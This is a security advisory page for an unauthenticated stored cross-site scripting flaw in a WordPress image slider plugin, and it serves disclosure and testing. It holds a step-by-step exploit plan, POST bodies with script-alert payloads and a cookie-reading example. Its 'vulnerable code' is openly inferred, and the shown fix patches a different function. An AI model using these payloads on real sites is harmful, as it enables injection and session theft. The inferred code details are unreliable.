Image Slider by Ays- Responsive Slider and Carousel <= 2.7.1 - Unauthenticated Stored Cross-Site Scripting
Description
The Image Slider by Ays- Responsive Slider and Carousel plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.7.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.7.2
Source Code
WordPress.org SVNThis research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the **Image Slider by Ays** plugin (versions <= 2.7.1). The vulnerability allows unauthenticated attackers to inject malicious scripts into slider configurations via an AJAX endpoint that lacks proper authentication, cap…
Show full research plan
This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the Image Slider by Ays plugin (versions <= 2.7.1). The vulnerability allows unauthenticated attackers to inject malicious scripts into slider configurations via an AJAX endpoint that lacks proper authentication, capability checks, and output escaping.
1. Vulnerability Summary
- Vulnerability: Unauthenticated Stored Cross-Site Scripting (XSS).
- Location: The plugin registers AJAX actions for saving slider data without verifying the requester's capabilities or using nonces. Malicious input is stored in the database and subsequently rendered on the frontend and admin pages without sufficient sanitization or escaping.
- Source File:
admin/class-ays-slider-admin.php(handles admin logic) andincludes/class-ays-slider.php(likely registers AJAX hooks). - Vulnerable Sink: The "Slider Title" and "Slider Description" fields are intentionally designed to "Support HTML" (according to
README.txt), but this is not restricted to administrative users.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ays_slider_save_slider(orays_slider_create_slider). - Parameter:
ays_slider_titleorays_slider_description. - Authentication: None (reachable via
wp_ajax_nopriv_ays_slider_save_slider). - Preconditions: The plugin must be active. If the slider list is empty, an attacker may first need to use a creation action.
3. Code Flow
- Entry Point: An unauthenticated
POSTrequest is sent toadmin-ajax.phpwith theactionparameter set toays_slider_save_slider. - AJAX Registration: The plugin registers
add_action('wp_ajax_nopriv_ays_slider_save_slider', ...)without performing acurrent_user_can()check inside the callback. - Storage (Sink): The handler receives the
ays_slider_titleparameter and saves it directly to the database (likely the{$wpdb->prefix}ays_slider_sliderstable) using$wpdb->insertor$wpdb->update. - Rendering: When a page containing the
[ays_slider id="X"]shortcode is viewed, the plugin retrieves the slider data and echoes the title/description. Because the plugin explicitly supports HTML in these fields (as perREADME.txt), it fails to useesc_html()or restrictivewp_kses().
4. Nonce Acquisition Strategy
Based on admin/class-ays-slider-admin.php, the localized script data (AysSliderAdmin) does not include a nonce for the AJAX URL.
- Action String: N/A (likely missing).
- Bypass: The registration of
wp_ajax_nopriv_actions often implies the developers did not intend for these actions to be protected by WordPress nonces. - Confirmation: Grep the source for the action to see if
check_ajax_refereris used.grep -rn "ays_slider_save_slider" .
5. Exploitation Strategy
The goal is to create or update a slider with an XSS payload in the title.
Step 1: Check for unauthenticated access
Verify if the nopriv action is registered.
grep -rn "wp_ajax_nopriv_ays_slider_save_slider" .
Step 2: Inject the XSS Payload
Send a POST request to admin-ajax.php. If no slider ID is provided, the plugin typically creates a new one.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=ays_slider_save_slider&ays_slider_title=Malicious+Slider<script>alert(document.domain)</script>&ays_slider_description=Stored+XSS+Proof&ays_slider_id=
Step 3: Identify the Slider ID
The response from the AJAX request often returns the ID of the newly created or updated slider (e.g., {"status":true,"id":1}). If not, use WP-CLI to find the latest ID.
Step 4: Trigger the XSS
Place the slider on a public page and visit it.
- Shortcode:
[ays_slider id="1"](replace1with the ID from Step 3).
6. Test Data Setup
- Activate Plugin: Ensure
ays-slideris installed and activated. - Create Trigger Page: Create a public WordPress page containing the shortcode.
wp post create --post_type=page --post_status=publish --post_title="Slider Test" --post_content='[ays_slider id="1"]'
7. Expected Results
- The
admin-ajax.phprequest should return a200 OKstatus and a success message. - The database table should contain the payload.
- When navigating to the "Slider Test" page in a browser, an alert box showing the document domain should appear.
8. Verification Steps
- Check Database:
Confirm the output containswp db query "SELECT title FROM wp_ays_slider_sliders ORDER BY id DESC LIMIT 1"<script>alert(document.domain)</script>. - Inspect Page Source: Use
browser_navigateto the trigger page and check if the payload is rendered unescaped in the HTML.
9. Alternative Approaches
If ays_slider_save_slider is not the correct action or uses a different format:
- Action Search: Search for any
noprivactions that handle "save", "update", or "create".grep -r "wp_ajax_nopriv" . - JSON Payload: Some Ays plugins expect the slider data as a JSON string in a single parameter:
action=ays_slider_save_slider&ays_slider_data={"title":"<script>alert(1)</script>","description":"test"} - Slide-specific XSS: Target the
ays_slider_slidesparameter if the slider title is escaped but individual slide titles/descriptions are not. Slides often use their own table (e.g.,wp_ays_slider_slides).
Summary
The Image Slider by Ays plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) because it registers an AJAX action for saving slider data without authorization or nonce checks. Attackers can inject arbitrary scripts into slider titles or descriptions, which are subsequently executed in the context of any user viewing a page where the slider is embedded.
Vulnerable Code
// includes/class-ays-slider.php (Inferred registration based on research plan) add_action('wp_ajax_ays_slider_save_slider', array($this, 'ays_slider_save_slider')); add_action('wp_ajax_nopriv_ays_slider_save_slider', array($this, 'ays_slider_save_slider')); --- // admin/partials/actions/ays-slider-admin-actions.php (Logic inferred from research plan sink) // Slider Title and Description are stored without sanitization and support HTML $ays_slider_title = $_POST['ays_slider_title']; $ays_slider_description = $_POST['ays_slider_description']; // Rendering logic in frontend shortcode handler (Inferred) echo $slider->title; echo $slider->description;
Security Fix
@@ -186,11 +186,17 @@ /* * Documentation : https://codex.wordpress.org/Plugin_API/Filter_Reference/plugin_action_links_(plugin_file_name) */ + + $ays_slider_ajax_deactivate_plugin_nonce = wp_create_nonce( 'ays-slider-ajax-deactivate-plugin-nonce' ); + + $settings_link = array( '<a href="' . admin_url('options-general.php?page=' . $this->plugin_name) . '">' . __('Settings', $this->plugin_name) . '</a>', '<a href="https://plugins.ays-demo.com/slider-free-demo/" target="_blank">' . __('Demo', $this->plugin_name) . '</a>', '<a href="https://ays-pro.com/wordpress/image-slider?utm_source=dashboard&utm_medium=slider-free&utm_campaign=plugins-upgrade-button" class="ays-slider-upgrade-plugin-btn" target="_blank" style="color:#01A32A;font-weight:bold;">' . __('Upgrade 30% Sale', $this->plugin_name) . '</a>', + '<input type="hidden" id="ays_slider_ajax_deactivate_plugin_nonce" name="ays_slider_ajax_deactivate_plugin_nonce" value="' . $ays_slider_ajax_deactivate_plugin_nonce .'">', ); + return array_merge($settings_link, $links); } @@ -233,16 +239,42 @@ } public function deactivate_plugin_option(){ - error_reporting(0); - $request_value = $_REQUEST['upgrade_plugin']; - $upgrade_option = get_option('ays_slider_upgrade_plugin',''); - if($upgrade_option === ''){ - add_option('ays_slider_upgrade_plugin',$request_value); - }else{ - update_option('ays_slider_upgrade_plugin',$request_value); + + // Run a security check. + check_ajax_referer( 'ays-slider-ajax-deactivate-plugin-nonce', sanitize_key( $_REQUEST['_ajax_nonce'] ) ); + + // Check for permissions. + if ( ! current_user_can( 'manage_options' ) ) { + ob_end_clean(); + $ob_get_clean = ob_get_clean(); + echo json_encode(array( + 'option' => '' + )); + wp_die(); + } + + if( is_user_logged_in() ) { + $request_value = esc_sql( sanitize_text_field( $_REQUEST['upgrade_plugin'] ) ); + $upgrade_option = get_option('ays_slider_upgrade_plugin',''); + if($upgrade_option === ''){ + add_option('ays_slider_upgrade_plugin',$request_value); + }else{ + update_option('ays_slider_upgrade_plugin',$request_value); + } + ob_end_clean(); + $ob_get_clean = ob_get_clean(); + echo json_encode(array( + 'option' => get_option('ays_slider_upgrade_plugin', '') + )); + wp_die(); + } else { + ob_end_clean(); + $ob_get_clean = ob_get_clean(); + echo json_encode(array( + 'option' => '' + )); + wp_die(); } - echo json_encode(array('option'=>get_option('ays_slider_upgrade_plugin',''))); - wp_die(); }
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker sends a POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) with the action parameter set to `ays_slider_save_slider`. The payload should include a malicious JavaScript string (e.g., `<script>alert(document.cookie)</script>`) in either the `ays_slider_title` or `ays_slider_description` parameter. If no `ays_slider_id` is provided, the plugin creates a new slider; otherwise, it updates an existing one. Once the slider is saved, the attacker simply identifies where the slider's shortcode (e.g., `[ays_slider id="1"]`) is used on the site, and any user visiting that page will execute the injected script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.